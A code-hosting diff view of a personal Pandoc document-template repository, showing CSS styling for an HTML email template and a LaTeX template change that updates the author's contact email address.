||||||
|
font-weight: normal;
|
||||||
|
margin: 0;
|
||||||
|
padding-top: 7px;
|
||||||
|
color: #111111;
|
||||||
|
}
|
||||||
|
|
||||||
|
ul, ol {
|
||||||
|
margin: 0;
|
||||||
|
margin-bottom: 7.5px;
|
||||||
|
padding-left: 25px;
|
||||||
|
}
|
||||||
|
|
||||||
|
ul li, ol li {
|
||||||
|
list-style-position: outside;
|
||||||
|
margin-left: 5px;
|
||||||
|
margin-bottom: 1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
li > ul, li > ol {
|
||||||
|
margin-top: 7.5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
a {
|
||||||
|
color: #348eda;
|
||||||
|
text-decoration: none;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
pre > a, code > a {
|
||||||
|
color: none;
|
||||||
|
font-weight: normal;
|
||||||
|
}
|
||||||
|
|
||||||
|
code,pre,.word-wrap {
|
||||||
|
word-break: break-word;
|
||||||
|
word-wrap: break-word;
|
||||||
|
-webkit-hyphens: auto;
|
||||||
|
-moz-hyphens: auto;
|
||||||
|
hyphens: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
pre, code {
|
||||||
|
font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
|
||||||
|
font-size: 11.9px;
|
||||||
|
}
|
||||||
|
|
||||||
|
pre {
|
||||||
|
display: block;
|
||||||
|
width: 96%;
|
||||||
|
margin: 1em 0;
|
||||||
|
margin-bottom: 9px;
|
||||||
|
background: #f8f8f8;
|
||||||
|
padding: 1%;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
p > code {
|
||||||
|
color: #111111;
|
||||||
|
background: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
blockquote {
|
||||||
|
padding: 0 7px 0 7px;
|
||||||
|
border-left: 2px solid #cccccc;
|
||||||
|
border-top: 4.2px solid transparent;
|
||||||
|
font-style: italic;
|
||||||
|
margin: 0 0 7px 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
blockquote p {
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
mark {
|
||||||
|
background: #ff0;
|
||||||
|
}
|
||||||
|
|
||||||
|
dl dt {
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
dl dd {
|
||||||
|
margin-left: 28px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-btn {
|
||||||
|
width: 100%;
|
||||||
|
font-family: "Roboto", "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-btn table {
|
||||||
|
width: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-btn table td {
|
||||||
|
background-color: #ffffff;
|
||||||
|
border-radius: 4px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-btn a {
|
||||||
|
background-color: #ffffff;
|
||||||
|
border: solid 1px #348eda;
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #348eda;
|
||||||
|
cursor: pointer;
|
||||||
|
display: inline-block;
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: bold;
|
||||||
|
margin: 0;
|
||||||
|
padding: 8px 18px;
|
||||||
|
text-decoration: none;
|
||||||
|
text-transform: capitalize;
|
||||||
|
font-family: "Roboto", "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-btn-primary table td {
|
||||||
|
background-color: #348eda;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-btn-primary a {
|
||||||
|
background-color: #348eda;
|
||||||
|
border-color: #348eda;
|
||||||
|
color: #ffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-btn-secondary table td {
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-btn-secondary a {
|
||||||
|
background-color: transparent;
|
||||||
|
border-color: #348eda;
|
||||||
|
color: #348eda;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice {
|
||||||
|
border-collapse: separate;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice-spacer {
|
||||||
|
padding: 10px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice td {
|
||||||
|
line-height: 1.2;
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: normal;
|
||||||
|
font-family: "Roboto", "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice td p {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice-info td {
|
||||||
|
background: #f0f6fb;
|
||||||
|
border: 1px solid #b7d3ed;
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #2c6eac;
|
||||||
|
padding: 6px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice-success td {
|
||||||
|
background: #e1f2bd;
|
||||||
|
border: 1px solid #c6e682;
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #61821a;
|
||||||
|
padding: 6px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice-warning td {
|
||||||
|
background: #f7eed0;
|
||||||
|
border: 1px solid #edd993;
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #9a7d1a;
|
||||||
|
padding: 6px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice-danger td {
|
||||||
|
background: #f5d5d5;
|
||||||
|
border: 1px solid #e89b9b;
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #952222;
|
||||||
|
padding: 6px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.et-notice-lg td {
|
||||||
|
font-size: 16.8px;
|
||||||
|
line-height: 1.2;
|
||||||
|
}
|
||||||
|
|
||||||
|
.divider {
|
||||||
|
border-collapse: separate;
|
||||||
|
}
|
||||||
|
|
||||||
|
.divider-spacer {
|
||||||
|
padding: 14px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.divider td {
|
||||||
|
border-top: 1px solid #ccc;
|
||||||
|
line-height: 0;
|
||||||
|
font-size: 0;
|
||||||
|
height: 1px;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr {
|
||||||
|
margin: 28px 0;
|
||||||
|
border: none;
|
||||||
|
border-top: 1px solid #cccccc;
|
||||||
|
color: #ffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.last {
|
||||||
|
margin-bottom: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.first {
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.align-center {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.align-right {
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.align-left {
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.clear {
|
||||||
|
clear: both;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mt0 {
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mb0 {
|
||||||
|
margin-bottom: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.preheader {
|
||||||
|
color: transparent;
|
||||||
|
display: none;
|
||||||
|
height: 0;
|
||||||
|
max-height: 0;
|
||||||
|
max-width: 0;
|
||||||
|
opacity: 0;
|
||||||
|
overflow: hidden;
|
||||||
|
mso-hide: all;
|
||||||
|
visibility: hidden;
|
||||||
|
width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media only screen and (max-width: 840px) {
|
||||||
|
table[class=body] {
|
||||||
|
font-size: 12px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] p,table[class=body] ul,table[class=body] ol {
|
||||||
|
font-size: 12px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] .et-btn {
|
||||||
|
margin-bottom: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] h1 {
|
||||||
|
font-size: 18.2px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] h2 {
|
||||||
|
font-size: 16.8px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] h3 {
|
||||||
|
font-size: 15.4px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] h4 {
|
||||||
|
font-size: 14.7px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] h5 {
|
||||||
|
font-size: 12.6px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] h6 {
|
||||||
|
font-size: 11.9px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] h1, table[class=body] h2 {
|
||||||
|
margin-bottom: 14px !important;
|
||||||
|
margin-top: 14px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] .container, table[class=body] .content {
|
||||||
|
width: 100% !important;
|
||||||
|
max-width: 100% !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] .content,table[class=body] .wrapper {
|
||||||
|
padding: 10px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] .container {
|
||||||
|
padding: 0 !important;
|
||||||
|
width: 100% !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table[class=body] .btn table,table[class=body] .btn a {
|
||||||
|
width: 100% !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
$if(quotes)$
|
||||||
|
<style type="text/css">q { quotes: "“" "”" "‘" "’"; }</style>
|
||||||
|
$endif$
|
||||||
|
$if(highlighting-css)$
|
||||||
|
<style type="text/css">
|
||||||
|
$highlighting-css$
|
||||||
|
</style>
|
||||||
|
$endif$
|
||||||
|
$for(css)$
|
||||||
|
<link rel="stylesheet" href="$css$" type="text/css" />
|
||||||
|
$endfor$
|
||||||
|
$if(math)$
|
||||||
|
$math$
|
||||||
|
$endif$
|
||||||
|
$for(header-includes)$
|
||||||
|
$header-includes$
|
||||||
|
$endfor$
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
$for(include-before)$
|
||||||
|
$include-before$
|
||||||
|
$endfor$
|
||||||
|
$if(title)$
|
||||||
|
<div id="$idprefix$header">
|
||||||
|
<h1 class="title">$title$</h1>
|
||||||
|
$if(subtitle)$
|
||||||
|
<h1 class="subtitle">$subtitle$</h1>
|
||||||
|
$endif$
|
||||||
|
$for(author)$
|
||||||
|
<h2 class="author">$author$</h2>
|
||||||
|
$endfor$
|
||||||
|
$if(date)$
|
||||||
|
<h3 class="date">$date$</h3>
|
||||||
|
$endif$
|
||||||
|
</div>
|
||||||
|
$endif$
|
||||||
|
$if(toc)$
|
||||||
|
<div id="$idprefix$TOC">
|
||||||
|
$toc$
|
||||||
|
</div>
|
||||||
|
$endif$
|
||||||
|
$body$
|
||||||
|
$for(include-after)$
|
||||||
|
$include-after$
|
||||||
|
$endfor$
|
||||||
|
</body>
|
||||||
|
</html>
|
|
@ -211,9 +211,9 @@ $else$
|
||||||
$endif$
|
$endif$
|
||||||
$else$
|
$else$
|
||||||
$if(subject)$
|
$if(subject)$
|
||||||
\newcommand{\email}{\href{mailto:jonathan@lunarweb.co.uk?subject=Re: $subject$}{jonathan@lunarweb.co.uk}}
|
\newcommand{\email}{\href{mailto:jonathan@jonathanh.co.uk?subject=Re: $subject$}{jonathan@jonathanh.co.uk}}
|
||||||
$else$
|
$else$
|
||||||
\newcommand{\email}{\href{mailto:jonathan@lunarweb.co.uk}{jonathan@lunarweb.co.uk}}
|
\newcommand{\email}{\href{mailto:jonathan@jonathanh.co.uk}{jonathan@jonathanh.co.uk}}
|
||||||
$endif$
|
$endif$
|
||||||
$endif$
|
$endif$
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue